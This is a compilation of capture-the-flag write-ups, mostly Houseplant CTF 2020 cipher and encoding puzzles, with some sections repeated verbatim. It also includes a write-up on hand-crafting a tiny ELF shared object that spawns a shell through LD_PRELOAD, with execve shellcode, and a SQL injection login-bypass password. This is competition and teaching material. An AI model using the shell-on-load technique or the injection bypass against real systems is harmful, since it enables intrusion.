rtcp{.*} add _ (underscores) in place of spaces. Hint! Character names count too ### Solution: ### ### Flag: ### # .... .- .-.. ..-. #### 1,882 Points ### Ciphertext: DXKGMXEWNWGPJTCNVSHOBGASBTCBHPQFAOESCNODGWTNTCKY Dev: Sri Hint! All letters must be capitalized Hint! The flag must be in the format rtcp{.*} ### Solution: ### ### Flag: ###
## Golf.so > Thinking that Bovik’s flags might be hidden in plain sight, you find on your minimap of the Inner Sanctum that there’s a golf course tucked into the northeast corner. Before other people catch on to the idea, you sneak off towards the rolling grassy hills of the golf course.> > As you walk up to the entrance, a small man with pointy ears pops up out of the ground.> > “Would you like to play? Right now almost nobody is here, so it’ll only be a thousand checkers to play a round.“> > You wave your hand and send the man the required amount. It’s not a lot of money, but your balance dwindles to a paltry sum.> > “Thanks! Enjoy your game.“> > A golf club appears in your hand along with a ball that looks suspiciously too large. The start of the first hole beckons, and you stride over to tee off.> > http://golf.so.pwni.ng On the website we see a scoreboard with team names and file sizes. There is an“Upload” button which shows us the rules of the game:> Upload a 64-bit ELF shared object of size at most 1024 bytes. It should> spawn a shell (execute `execve("/bin/sh", ["/bin/sh"], ...)`) when used like> > `LD_PRELOAD=<upload> /bin/true` Ok, we have to write a tiny ELF file which spawns a shell when `LD_PRELOAD`ed.Unfortunately a simple C program produces a 16kB large .so file, which isclearly too big. ## ELF: Dynamic Shared Objects First of all we need to know how ELF files work. Every 64bit ELF file starts with an `Elf64_Ehdr` struct. It contains a magicword, as well as general information about the file like the CPU architecture,entry point, and endianess. It also has pointers to two other structures, theProgram Headers and Section Headers. Program Headers (`Elf64_Phdr`) describe which *segments* are stored in the ELFfile. There are two important types of segments: `PT_LOAD` segments and`PT_DYNAMIC` segments. Only `PT_LOAD` segments are loaded into memory. Theyusually contain code, data, and other information that has to be available atruntime. A `PT_DYNAMIC` segment has to overlap with a `PT_LOAD` segment, and itholds information for the dynamic linker. Section Headers (`Elf64_Shdr`) describe *sections* in the ELF file, like e.g.the `.text` section. They contain additional information about which data isstored where *within* a segment. A single segment can contain multiplesections. Since we want to create a library, we need both code and a `PT_DYNAMIC`segment. We will see that sections are not important at all. ## ELF: The DYNAMIC SegmentThe DYNAMIC segment consists of a list of `Elf64_Dyn` entries, which contain atag and a value. According to [some webpage](https://docs.oracle.com/cd/E19455-01/816-0559/chapter6-42444/index.html)a few entries are mandatory and all other entries are optional. One entry is particularly interesting, the `DT_INIT` entry. It has a pointer toan initializer function which is executed after the library is loaded. It issupposed to initialize the library. We will use this function to spawn theshell. ## Writing An ELF File By HandWith this information, we can start to write an ELF file by hand. To start“small”, we write a fully compliant ELF file with all necessary information. The shellcode is rather simple, it's an off the shelf msfvenom shellcode. First Attempt: [golf.c](https://www.sigflag.at/assets/posts/golf.so/golf.v1.c) Running this program produces a `golf.so` which is 821 bytes large. We canupload this to the website, but it tells us that we have to shrink the file inorder to get the flag. ![Troll](https://www.sigflag.at/assets/posts/golf.so/troll.png) ## Making It Smaller Now let's remove all unnecessary things. First of all the section headers aretotally irrelevant, we can just remove them. With the section headers removed,we can also remove the strings for the string tables, since they were onlyreferenced from section headers. We can also remove most of the segments and only leave a single `PT_LOAD`segment which holds the code and the DYNAMIC data. And we can remove most ofthe `Elf64_Dyn` entries, since they are not needed. Now we only have two Program Headers:- `PT_LOAD` which loads the whole file to address 0- `PT_DYNAMIC` which points to the `Elf64_Dyn` list We still have a few `Elf64_Dyn` entries:- `DT_INIT` for our initializer- `DT_STRTAB`- `DT_SYMTAB` But this is still too large. We can start to overlap data. The last Program Header doesn't need a value in`p_memsz` since it is not a `PT_LOAD` segment. We could start our `Elf64_Dyn`list in this field, such that it overlaps with the Program Header. We can save 6 more bytes by overlapping the first Program Header with the endof the ELF header, since the last 3 fields in the ELF header are not used. We *cannot* remove any more `Elf64_Dyn` records, since removing any of themmakes the linker crash. Seccond Attempt: [golf.c](https://www.sigflag.at/assets/posts/golf.so/golf.v2.c) We now have 229 bytes, but it is still too large. ## Making It Even Smaller Running `/bin/true` with `golf.so` preloaded in a debugger reveals that ourinitializer is called via `call rax`, so `rax` has a pointer to the shellcode.Now it's time to write some custom shellcode which is smaller. Since we havethe address to our shellcode, we can store the `/bin/sh` string in some unusedELF header field and directly reference it. Since the offset to the SectionHeaders `e_shoff` is not used, we can just store the string in there. The shellcode now looks like this: ```401000: 48 8d b8 5e ff ff ff lea rdi,[rax-0xa2]401007: 31 c0 xor eax,eax401009: 50 push rax40100a: 57 push rdi40100b: 48 89 e6 mov rsi,rsp40100e: 50 push rax40100f: 48 89 e2 mov rdx,rsp401012: b0 3b mov al,0x3b401014: 0f 05 syscall``` Third Attempt: [golf.c](https://www.sigflag.at/assets/posts/golf.so/golf.v3.c) This generates a 224 byte large golf.so, but that's *still* too big. We have toreach 192 bytes! ## Creating A Tiny But Totally Broken ELF File Shrinking the file even further is no longer trivial. We now have to overlapeverything, and completely get rid of the shellcode section. There are a few pointers within the ELF header as well as within ProgramHeaders that are never used. We can overwrite them with arbitrary values andthe linker won't care. We can use this to split the shellcode and embed it inthose pointers. Unfortunately the first command (`lea rdi,[rax-0xa2]`) not only depends on theaddress of the initializer function, it also consists of 7 bytes, so we cannotadd a jump afterwards. Luckily there are some pointers where the exact value ofthe next field doesn't matter that much, so we can enter something slightly toobig. More specifically, if we put this command into the `p_addr` field of theDYNAMIC segment, we can put the offset for a `jmp` into the `p_filesz` field.The `DT_INIT` has to point to the `p_addr` field. The `lea` is executed, andthen the jump is taken. The next shellcode fragment can be placed in the `e_entry` field of the ELFheader. We can fit 4 shellcode instructions in there, but then we only have onebyte left for the next jump. This time we *cannot* change the next byte, butsince the ELF header is 0x3A bytes large, we conveniently jump to address 0x90.This is right into the `p_filesz` field of the `PT_LOAD` header. We put anotherjump there, back to the `p_addr` field of the same Program Header. In thisfield we can finally put the remaining commands of the shellcode. Since we don't need the shellcode at the end of the file anymore, the last`Elf64_Dyn` entry ends with a NULL value. We don't have to store that in ourELF file, since everything past the file end is implicitly zero. We don't evenhave to store the whole `d_tag` of the last `Elf64_Dyn` record, since only thefirst byte is nonzero. With those optimizations, the final ELF file is only 187 bytes large. Final Solution: [golf.c](https://www.sigflag.at/assets/posts/golf.so/golf.c) Interestingly enough, IDA Pro refuses to load this ELF file. With this `golf.so` file, we finally get our flags: ![Flag](https://www.sigflag.at/assets/posts/golf.so/flag.png)
# Houseplant CTF 2020 – Beginner 7 * **Category:** beginners, crypto* **Points:** 25 ## Challenge > Don't go around bashing people.> > igxk{fmovhh_gsvb_ziv_nvzm} ## Solution It's *Atbash cipher*. ```rtcp{unless_they_are_mean}```
# I-don't-like-needlesWeb > They make me SQueaL!> > http://challs.houseplant.riceteacatpanda.wtf:30001 We get source by visiting `/?sauce`. This is vulnerable to classic SQLi, but we have to actually read the source to find the right username: `flagman69`. We log in with username `flagman69` and password `'=0;-- ` to get the flag. Flag: `rtcp{y0u-kn0w-1-didn't-mean-it-like-th@t}`
# CH₃COOH #### 50 Points ### '<Owaczoe gl oa yjirmng fmeigghb bd tqrrbq nabr nlw heyvs pfxavatzf raog ktm vlvzhbx tyyocegguf. Tbbretf gwiwpyezl ahbgybbf dbjr rh sveah cckqrlm opcmwp yvwq zr jbjnar. Slinjem gfx opcmwp yvwq gl demwipcw pl ras sckarlmogghb bd xhuygcy mk ghetff zr opcmwp yvwq ztqgckwn. Rasec tfr ktbl rrdrq ht iggstyk, rrnxbqggu bl lchpvs zymsegtzf. Tbbretf vq gcj ktwajr ifcw wa ras psewaykm npmg: nq t tyyocednz, nabrva vcbibbt gguecwwrlm, ce gg dvadzvlz. Of ras zmlh rylwyw foasyoprnfrb fwyb tqvb, bh uyl vvqmcegvoyjr vnb t kvbx jnpbsgw ht vlwifrkwnj tbq bharqmwp slsf (qnqu yl wgq ngr yl o umngrfhzq aesnlxf). Jfbzr tbbretf zydwae fol zx of mer nq tzpmacygv pecpwae, mvr dbffr wcpsfsarxr rtbrrlvs bd owaczoe ktyvlz oab ngr utg ow mvr Ygqvcgh Oyumymgwnll oemnbq 3000 ZV. Hucr degfoegem zyws iggstyk temf rnrxg, sgzg, nlw prck oab ngrb bh smk pbra qhjbbnpr oab fsqgvwaye dhpicfcl. Heyvsf my wg yegb ftjr zxsa dhiab bb Rerdggtb hpgg. Vl Xofr Tgvy, mvr Aawacls oczoa nkcsclgvmgoygswae owaczoe nkcqsvhvmg wa ras Mfhi Qwgofrr. Wa ras omhy Mfhi Yg, bh zcghvmgg zygm amuzr mk fbwtz umngrfhzqq aoq y “owaczoe ktyrp” tg n qispgtzvxxr cmlwgghb. Zmlh iggstyk anibbt rasa utg pmgqrlmfnrxr vl pvnr bg amp Guyglv nkciggqr lxoe ras pgmm Gybmhyg kugvv ecfovll o syfchq owaczoe ktyvlz frebca rhrnw. Foaw Vvvlxgr tbbretff ygr gfxwe slsf dhf psewaykm nlw arbbqvltz cskdbqxg jcks jpbhgcg rbug wa ras nekwpsehhptz zyginj Jwzgg Mnmlvh. pmqc{tbbretf_bl_fm_sglv_nlw_qugig_cjxofc}>' Dev: William Hint! Short keys are never a good thing in cryptography. ### Solution: ### Short key, first crypto in a CTF? Just smells of a Vigenere cipher. Google “vigenere decoder” and you’ll come up with a couple tools that will brute force this and use letter analysis to figure out which is most likely to be the right flag. In this case “tony” comes up pretty quick and you can pull the flag out. ### Flag: ### rtcp{vinegar_on_my_fish_and_chips_please} # "fences are cool unless they're taller than you" - tida #### 50 Points ### “They say life's a roller coaster, but to me, it's just jumping over fences.” tat_uiwirc{s_iaaotrc_ahn}pkdb_esg ### Solution: ### Google “fence cipher” and you’ll read about the Rail Fence Cipher. Throw the encrypted flag into CyberChef and choose “Rail Fence Cipher Decode” and fiddle with some settings. When you go from key 2 to key 3 things look much better. It still wraps the r to the end of the string, but you just fix that manually. Be VERY careful about copying the ciphertext. An extra space or CR at the end will throw everything off. ### Flag: ### rtcp{ask_tida_about_rice_washing} # Returning Stolen Archives #### 50 Points ### Fried eggs are the best. Oh no! I broke my yolk... well, I guess I have to scramble it now. Ciphertext: smdrcboirlreaefd Dev: Delphine Hint! words are separated with underscores ### Soulution: ### ### Flag: ### # Broken Yolks #### 518 Points ### Fried eggs are the best. Oh no! I broke my yolk... well, I guess I have to scramble it now. Ciphertext: smdrcboirlreaefd Hint! words are separated with underscores ### Solution: ### Why hello Google, my old friend. Search for “scramble cipher” and you’ll pull up a few tools that extract words from a string of text to help with solving anagrams. Looking at those words “scrambled” sticks out with all of the egg references in the title and help text. Remove those letters and you have “doirref”. Run it through again or think in scrable tiles and you’ll see “fried or” as an anagram that fits nicely to give you…. ### Flag: ### rtcp{fried_or_scrambled} # Rivest Shamir Adleman #### 831 Points ### A while back I wrote a Python implementation of RSA, but Python's really slow at maths. Especially generating primes. Dev: Tom Hint! There are two possible ways to get the flag ;-) ### Solution: ### ### Flag: ### # Post-Homework Death #### 1,173 Points ### My math teacher made me do this, so now I'm forcing you to do this too. Flag is all lowercase; replace spaces with underscores. Dev: Claire Hint! When placing the string in the matrix, go up to down rather than left to right. Hint! Google matrix multiplication properties if you're stuck. ### Solution: ### ### Flag: ### # Parasite #### 1,262 Points ### paraSite Killed me A liTtle inSide Flag: English, case insensitive; turn all spaces into underscores Dev: Claire Hint! Make sure you keep track of the spacing- it's there for a reason ### Soluton: ### This one gave us fits. The text was in Morse code, but the letters made no sense whatsoever. Just for kicks, we ran them through a few cipher decoders with no effect. The Morse code had a number of single and double spaces that looked suspiciously like fractionated Morse code to our resident Morse geek. Perhaps the pattern in the hint represented delimiters? After an hour or so of playing with offsets and separators, it became evident that this was not the case. One of our teammates again pointed to the hint and noticed that S-K-A-T-S were capitalized. He found that SKATS stood for South Korean Alphabet Transliteration System (also known as Korean Morse equivalents). He also saw the Korean movie Parasite and remembered a scene where one of the characters used Morse code to communicate. Using the SKATS table, our teammate managed to translate each letter into the corresponding Hangul characters. Unfortunately, he was a native english speaker and was stuck. Google Translate was not working very well (as is often the case with Asian characters). Luckily, one of our team members lives in the heart of K-Town and was able to lean on his friendly neighborhood Korean family for some help with Hangul. ### Flag: ### rtcp{hope_is_the_true_parasite} # Sizzle #### 1,345 Points ### Due to the COVID-19 outbreak, we ran all out of bacon, so we had to use up the old stuff instead. Sorry for any inconvenience caused... Dev: William Hint! Wrap your flag with rtcp{}, use all lowercase, and separate words with underscores. Hint! Is this really what you think it is? ### Solution:### Bacon is quite yummy, but pork products probably weren't what the devs meant for this one. Bacon refers to the Baconian Cipher devised by Francis Bacon in 1605. The Baconian cipher is a 5-bit binary cipher where each letter of plaintext is represented by a group of five of “A” or “B” letters. In this case, the encoded text was a block of Morse code that translated to gibberish. Recognizing that every “letter” was five characters long, I used a quick regex script to replace each “dot” with an “A” and each “dash” with a “B”. This created Baconian letters that were easily translated using the Bacon Decoder at dcode.fr. ### Flag: ### rtcp{BACON_BUT_GRILLED_AND_MORSIFIED} # Rainbow Vomit #### 1,585 Points ### o.O What did YOU eat for lunch?! The flag is case insensitive. Dev: Tom Hint! Replace spaces in the flag with { or } depending on their respective places within the flag. Hint! Hues of hex Hint! This type of encoding was invented by Josh Cramer. ### Solution: ### First open this image up in a proper editor. Opening it up in a browser or image view tends to blur the image when you zoom way in. Opening it in Gimp and zoom in so you see individual pixels. I first noticed there were not a lot of colors and it looked kind of like an old CGA palette. Using the color picker I grabbed a few and based on the CYMK values thought each one could be a nibble. I transcoded it and joined two colors into bytes. Once I converted that to ASCII it was pretty obviously jiberish. I poked at it a few more times, but no good ideas. Either the hints weren’t there when I first started or, more likely, I didn’t read them. Luckily one of my teammates recognized it or was better at google and came up with Hexahue encoding. We manually transcoded a couple letters and it was definitely the answer and we couldn’t find any pre built decoding apps so I made this hideous python script to print out the whole thing. Giving you…. “there is such as thing as a tomcat but have you ev er heard of a tomdog. this is the most important q uestion of our time, and unfortunately one that ma y never be answered by modern science. the definit ion of tomcat is a male cat, yet the name for a ma le dog is max. wait no. the name for a male dog is just dog. regardless, what would happen if we wer e to combine a male dog with a tomcat. perhaps wed end up with a dog that vomits out flags, like thi s one rtcp should,fl5g4,b3,st1cky,or,n0t” ### Flag: ### rtcp{should,fl5g4,b3,st1cky,or,n0t} # 11 #### 1,777 Points ### I wrote a quick script, would you like to read it? - Delphine (doorbell rings) delphine: Jess, I heard you've been stressed, you should know I'm always ready to help! Jess: Did you make something? I'm hungry... Delphine: Of course! Fresh from the bakery, I wanted to give you something, after all, you do so much to help me all the time! Jess: Aww, thank you, Delphine! Wow, this bread smells good. How is the bakery? Delphine: Lots of customers and positive reviews, all thanks to the mention in rtcp! Jess: I am really glad it's going well! During the weekend, I will go see you guys. You know how much I really love your amazing black forest cakes. Delphine: Well, you know that you can get a free slice anytime you want. (doorbell rings again) Jess: Oh, that must be Vihan, we're discussing some important details for rtcp. Delphine: sounds good, I need to get back to the bakery! Jess: Thank you for the bread! <3 Dev: Delphine edit: This has been a source of confusion, so: the code in the first hint isn't exactly the method to solve, but is meant to give you a starting point to try and decode the script. Sorry for any confusion. Hint! I was eleven when I finished A Series of Unfortunate Events. Hint! Flag is in format: rtcp{.*} add _ (underscores) in place of spaces. Hint! Character names count too ### Solution: ### ### Flag: ### # .... .- .-.. ..-. #### 1,882 Points ### Ciphertext: DXKGMXEWNWGPJTCNVSHOBGASBTCBHPQFAOESCNODGWTNTCKY Dev: Sri Hint! All letters must be capitalized Hint! The flag must be in the format rtcp{.*} ### Solution: ### ### Flag: ###
# Beginner 1 ### 50 points When Bob and Jia were thrown into the world of cybersecurity, they didn't know anything- and thus were very overwhelmed. They're trying to make sure it doesn't happen to you. Let's cover some bases first. cnRjcHt5b3VyZV92ZXJ5X3dlbGNvbWV9 ### Solution: Get real used to CyberChef. First of all, it’s awesome and you should use it. Second..see the first point. Most of these challenges can be done by just using the “Magic” recipe. We’ll do it the right way for the sake of longwindedness. From Base64 recipe. ### Flag: rtcp{youre_very_welcome} # Beginner 2 ### 50 points Bob wanted to let you guys know that "You might not be a complete failure." Thanks, Bob. 72 74 63 70 7b 62 6f 62 5f 79 6f 75 5f 73 75 63 6b 5f 61 74 5f 62 65 69 6e 67 5f 65 6e 63 6f 75 72 61 67 69 6e 67 7d Hint! Still covering bases here. ### Solution: From Hex ### Flag: rtcp{bob_you_suck_at_being_encouraging} # Beginner 3 ### 50 points Fun fact: Jia didn't actually know what this was when they first started out. If you got this, you're already doing better than them ;-; 162 164 143 160 173 163 165 145 137 155 145 137 151 137 144 151 144 156 164 137 153 156 157 167 137 167 150 141 164 137 157 143 164 141 154 137 167 141 163 137 157 153 141 171 77 41 175 Hint! wow, these bases are getting smaller ### Solution: From Octal ### Flag: `rtcp{sue_me_i_didnt_know_what_octal_was_okay?!}` # Beginner 4 ### 50 points Caesar was stabbed 23 times by 60 perpetrators... sounds like a modern group project egpc{lnyy_orggre_cnegvpvcngr} ### Solution: ROT13 ### Flag: rtcp{yall_better_participate} # Beginner 5 ### 50 points beep boop -- .- -. -.-- ..--.- -... . . .--. ... ..--.- .- -. -.. ..--.- -... --- --- .--. ... Remember to wrap the flag in the flag format rtcp{something} ### Solution: Oh shit….Morse code, too? CyberChef you sexy beast. From Morse Code ### Flag: rtcp{MANY_BEEPS_AND_BOOPS} # Beginner 6 ### 50 points i'm so tired... 26 26 26 26 26 26 26 26 19 12 5 5 16 9 14 7 9 14 16 8 25 19 9 3 19 *disclaimer: DON'T DO THIS KIDS. only sleep in math. Remember to wrap the whole thing in the flag format rtcp{} Hint! this isn't a hint; this is just us expressing our regret for taking 8AM physics ### Solution: A1Z26_Cipher_Decode ### Flag: rtcp{`zzzzzzzzsleepinginphysics}` # Beginner 7 ### 50 points Don't go around bashing people. igxk{fmovhh_gsvb_ziv_nvzm} ### Solution: Team mate solved this one. Not sure how he got to it, but you need to swap Z with A, Y with B, etc. Use the “substitute” recipe and plaintext “abcdefghijklmnopqrstuvwxyz’ with the ciphertext “zyxwvutsrqponmlkjihgfedcba”. After writing the solution I did some research and its simply called an Atbash cipher, which is also in CyberChef. ### Flag: rtcp{unless_they_are_mean} # Beginner 8 ### 50 points You either mildly enjoy bacon, think it's a food of the gods, or are vegan/vegetarian. 00110 01110 00100 00000 10011 00101 01110 01110 00011 00011 01110 01101 10011 10010 10011 00000 10001 10101 00100 Remember to wrap the flag in rtcp{} Hint! Make sure you use the "complete" alphabet. ### Solution:Bacon Cipher Decode. You do need to change it from standard to complete. Or....just us Magic again. ### Flag: rtcp{GOEATFOODDONTSTARVE} # Beginner 9### 50 points Hope you've been paying attention! :D Remember to wrap the flag with rtcp{} Hint! we stan cyberchef in this household ### Solution: This is where CyberChef really rocks. Chain a bunch of recipes together. Or in this case… From Hex -> From Morse -> From Binary -> A1Z26 decode -> Substitution -> ROT ### Flag: rtcp{NINEORONE}
# CH₃COOH #### 50 Points ### '<Owaczoe gl oa yjirmng fmeigghb bd tqrrbq nabr nlw heyvs pfxavatzf raog ktm vlvzhbx tyyocegguf. Tbbretf gwiwpyezl ahbgybbf dbjr rh sveah cckqrlm opcmwp yvwq zr jbjnar. Slinjem gfx opcmwp yvwq gl demwipcw pl ras sckarlmogghb bd xhuygcy mk ghetff zr opcmwp yvwq ztqgckwn. Rasec tfr ktbl rrdrq ht iggstyk, rrnxbqggu bl lchpvs zymsegtzf. Tbbretf vq gcj ktwajr ifcw wa ras psewaykm npmg: nq t tyyocednz, nabrva vcbibbt gguecwwrlm, ce gg dvadzvlz. Of ras zmlh rylwyw foasyoprnfrb fwyb tqvb, bh uyl vvqmcegvoyjr vnb t kvbx jnpbsgw ht vlwifrkwnj tbq bharqmwp slsf (qnqu yl wgq ngr yl o umngrfhzq aesnlxf). Jfbzr tbbretf zydwae fol zx of mer nq tzpmacygv pecpwae, mvr dbffr wcpsfsarxr rtbrrlvs bd owaczoe ktyvlz oab ngr utg ow mvr Ygqvcgh Oyumymgwnll oemnbq 3000 ZV. Hucr degfoegem zyws iggstyk temf rnrxg, sgzg, nlw prck oab ngrb bh smk pbra qhjbbnpr oab fsqgvwaye dhpicfcl. Heyvsf my wg yegb ftjr zxsa dhiab bb Rerdggtb hpgg. Vl Xofr Tgvy, mvr Aawacls oczoa nkcsclgvmgoygswae owaczoe nkcqsvhvmg wa ras Mfhi Qwgofrr. Wa ras omhy Mfhi Yg, bh zcghvmgg zygm amuzr mk fbwtz umngrfhzqq aoq y “owaczoe ktyrp” tg n qispgtzvxxr cmlwgghb. Zmlh iggstyk anibbt rasa utg pmgqrlmfnrxr vl pvnr bg amp Guyglv nkciggqr lxoe ras pgmm Gybmhyg kugvv ecfovll o syfchq owaczoe ktyvlz frebca rhrnw. Foaw Vvvlxgr tbbretff ygr gfxwe slsf dhf psewaykm nlw arbbqvltz cskdbqxg jcks jpbhgcg rbug wa ras nekwpsehhptz zyginj Jwzgg Mnmlvh. pmqc{tbbretf_bl_fm_sglv_nlw_qugig_cjxofc}>' Dev: William Hint! Short keys are never a good thing in cryptography. ### Solution: ### Short key, first crypto in a CTF? Just smells of a Vigenere cipher. Google “vigenere decoder” and you’ll come up with a couple tools that will brute force this and use letter analysis to figure out which is most likely to be the right flag. In this case “tony” comes up pretty quick and you can pull the flag out. ### Flag: ### rtcp{vinegar_on_my_fish_and_chips_please} # "fences are cool unless they're taller than you" - tida #### 50 Points ### “They say life's a roller coaster, but to me, it's just jumping over fences.” tat_uiwirc{s_iaaotrc_ahn}pkdb_esg ### Solution: ### Google “fence cipher” and you’ll read about the Rail Fence Cipher. Throw the encrypted flag into CyberChef and choose “Rail Fence Cipher Decode” and fiddle with some settings. When you go from key 2 to key 3 things look much better. It still wraps the r to the end of the string, but you just fix that manually. Be VERY careful about copying the ciphertext. An extra space or CR at the end will throw everything off. ### Flag: ### rtcp{ask_tida_about_rice_washing} # Returning Stolen Archives #### 50 Points ### Fried eggs are the best. Oh no! I broke my yolk... well, I guess I have to scramble it now. Ciphertext: smdrcboirlreaefd Dev: Delphine Hint! words are separated with underscores ### Soulution: ### ### Flag: ### # Broken Yolks #### 518 Points ### Fried eggs are the best. Oh no! I broke my yolk... well, I guess I have to scramble it now. Ciphertext: smdrcboirlreaefd Hint! words are separated with underscores ### Solution: ### Why hello Google, my old friend. Search for “scramble cipher” and you’ll pull up a few tools that extract words from a string of text to help with solving anagrams. Looking at those words “scrambled” sticks out with all of the egg references in the title and help text. Remove those letters and you have “doirref”. Run it through again or think in scrable tiles and you’ll see “fried or” as an anagram that fits nicely to give you…. ### Flag: ### rtcp{fried_or_scrambled} # Rivest Shamir Adleman #### 831 Points ### A while back I wrote a Python implementation of RSA, but Python's really slow at maths. Especially generating primes. Dev: Tom Hint! There are two possible ways to get the flag ;-) ### Solution: ### ### Flag: ### # Post-Homework Death #### 1,173 Points ### My math teacher made me do this, so now I'm forcing you to do this too. Flag is all lowercase; replace spaces with underscores. Dev: Claire Hint! When placing the string in the matrix, go up to down rather than left to right. Hint! Google matrix multiplication properties if you're stuck. ### Solution: ### ### Flag: ### # Parasite #### 1,262 Points ### paraSite Killed me A liTtle inSide Flag: English, case insensitive; turn all spaces into underscores Dev: Claire Hint! Make sure you keep track of the spacing- it's there for a reason ### Soluton: ### This one gave us fits. The text was in Morse code, but the letters made no sense whatsoever. Just for kicks, we ran them through a few cipher decoders with no effect. The Morse code had a number of single and double spaces that looked suspiciously like fractionated Morse code to our resident Morse geek. Perhaps the pattern in the hint represented delimiters? After an hour or so of playing with offsets and separators, it became evident that this was not the case. One of our teammates again pointed to the hint and noticed that S-K-A-T-S were capitalized. He found that SKATS stood for South Korean Alphabet Transliteration System (also known as Korean Morse equivalents). He also saw the Korean movie Parasite and remembered a scene where one of the characters used Morse code to communicate. Using the SKATS table, our teammate managed to translate each letter into the corresponding Hangul characters. Unfortunately, he was a native english speaker and was stuck. Google Translate was not working very well (as is often the case with Asian characters). Luckily, one of our team members lives in the heart of K-Town and was able to lean on his friendly neighborhood Korean family for some help with Hangul. ### Flag: ### rtcp{hope_is_the_true_parasite} # Sizzle #### 1,345 Points ### Due to the COVID-19 outbreak, we ran all out of bacon, so we had to use up the old stuff instead. Sorry for any inconvenience caused... Dev: William Hint! Wrap your flag with rtcp{}, use all lowercase, and separate words with underscores. Hint! Is this really what you think it is? ### Solution:### Bacon is quite yummy, but pork products probably weren't what the devs meant for this one. Bacon refers to the Baconian Cipher devised by Francis Bacon in 1605. The Baconian cipher is a 5-bit binary cipher where each letter of plaintext is represented by a group of five of “A” or “B” letters. In this case, the encoded text was a block of Morse code that translated to gibberish. Recognizing that every “letter” was five characters long, I used a quick regex script to replace each “dot” with an “A” and each “dash” with a “B”. This created Baconian letters that were easily translated using the Bacon Decoder at dcode.fr. ### Flag: ### rtcp{BACON_BUT_GRILLED_AND_MORSIFIED} # Rainbow Vomit #### 1,585 Points ### o.O What did YOU eat for lunch?! The flag is case insensitive. Dev: Tom Hint! Replace spaces in the flag with { or } depending on their respective places within the flag. Hint! Hues of hex Hint! This type of encoding was invented by Josh Cramer. ### Solution: ### First open this image up in a proper editor. Opening it up in a browser or image view tends to blur the image when you zoom way in. Opening it in Gimp and zoom in so you see individual pixels. I first noticed there were not a lot of colors and it looked kind of like an old CGA palette. Using the color picker I grabbed a few and based on the CYMK values thought each one could be a nibble. I transcoded it and joined two colors into bytes. Once I converted that to ASCII it was pretty obviously jiberish. I poked at it a few more times, but no good ideas. Either the hints weren’t there when I first started or, more likely, I didn’t read them. Luckily one of my teammates recognized it or was better at google and came up with Hexahue encoding. We manually transcoded a couple letters and it was definitely the answer and we couldn’t find any pre built decoding apps so I made this hideous python script to print out the whole thing. Giving you…. “there is such as thing as a tomcat but have you ev er heard of a tomdog. this is the most important q uestion of our time, and unfortunately one that ma y never be answered by modern science. the definit ion of tomcat is a male cat, yet the name for a ma le dog is max. wait no. the name for a male dog is just dog. regardless, what would happen if we wer e to combine a male dog with a tomcat. perhaps wed end up with a dog that vomits out flags, like thi s one rtcp should,fl5g4,b3,st1cky,or,n0t” ### Flag: ### rtcp{should,fl5g4,b3,st1cky,or,n0t} # 11 #### 1,777 Points ### I wrote a quick script, would you like to read it? - Delphine (doorbell rings) delphine: Jess, I heard you've been stressed, you should know I'm always ready to help! Jess: Did you make something? I'm hungry... Delphine: Of course! Fresh from the bakery, I wanted to give you something, after all, you do so much to help me all the time! Jess: Aww, thank you, Delphine! Wow, this bread smells good. How is the bakery? Delphine: Lots of customers and positive reviews, all thanks to the mention in rtcp! Jess: I am really glad it's going well! During the weekend, I will go see you guys. You know how much I really love your amazing black forest cakes. Delphine: Well, you know that you can get a free slice anytime you want. (doorbell rings again) Jess: Oh, that must be Vihan, we're discussing some important details for rtcp. Delphine: sounds good, I need to get back to the bakery! Jess: Thank you for the bread! <3 Dev: Delphine edit: This has been a source of confusion, so: the code in the first hint isn't exactly the method to solve, but is meant to give you a starting point to try and decode the script. Sorry for any confusion. Hint! I was eleven when I finished A Series of Unfortunate Events. Hint! Flag is in format: rtcp{.*} add _ (underscores) in place of spaces. Hint! Character names count too ### Solution: ### ### Flag: ### # .... .- .-.. ..-. #### 1,882 Points ### Ciphertext: DXKGMXEWNWGPJTCNVSHOBGASBTCBHPQFAOESCNODGWTNTCKY Dev: Sri Hint! All letters must be capitalized Hint! The flag must be in the format rtcp{.*} ### Solution: ### ### Flag: ###
# **[Neko Hero](https://houseplant.riceteacatpanda.wtf/challenge?id=33)** ### 50 Points Please join us in our campaign to save the catgirls once and for all, as the COVID-19 virus is killing them all and we need to provide food and shelter for them! nya~s and uwu~s will be given to those who donate! and headpats too! Dev: William (and inspired by forwardslash from htb i guess) ### Solution: ### Flag: # **[Deep Lyrics](https://houseplant.riceteacatpanda.wtf/challenge?id=55)** ### 1,487 Points Yay, more music! Dev: Delphine ### Solution: One of my teammates suggested DeepSound. Downloaded it in a VM. Opened the .wav and tada….text file with the flag. ### Flag: rtcp{got_youuuuuu} # **[Ezoterik](https://houseplant.riceteacatpanda.wtf/challenge?id=29)** ### 1,833 Points Inventing languages is hard. Luckily, there's plenty of them, including stupid ones. Dev: Tom Hint! You will find what you seek beyond the whitespace [ezoterik.jpg](https://houseplant.riceteacatpanda.wtf/download?file_key=122f4f2192af3c2baf8e315604c4b155bb5a1b0cf55f32befbd77340484d1f3a&team_key=2f442c580703a2af3b72516afcab8f66a84d3ccd858d0f0cf199e4bdb28231cb) 2ccd8135a03c5936b6f0b4e989db8a30 ### Solution: Opening the image there is a suspicious string of text. I recognized the text from prior CTF’s as a language called “brainfuck”. Lucky day, easy mode. After copying it out and running it through a decoder it spit out “Yeah, no, sorry.” Well played, sir. While the image was running through some stego scripts I pulled it up in a hex editor and saw a very obvious string of text at the end of the file after some whitespace. Probably what the clue was referring to. Copy that out and you’ll get this block of text. Looks like base64, right? 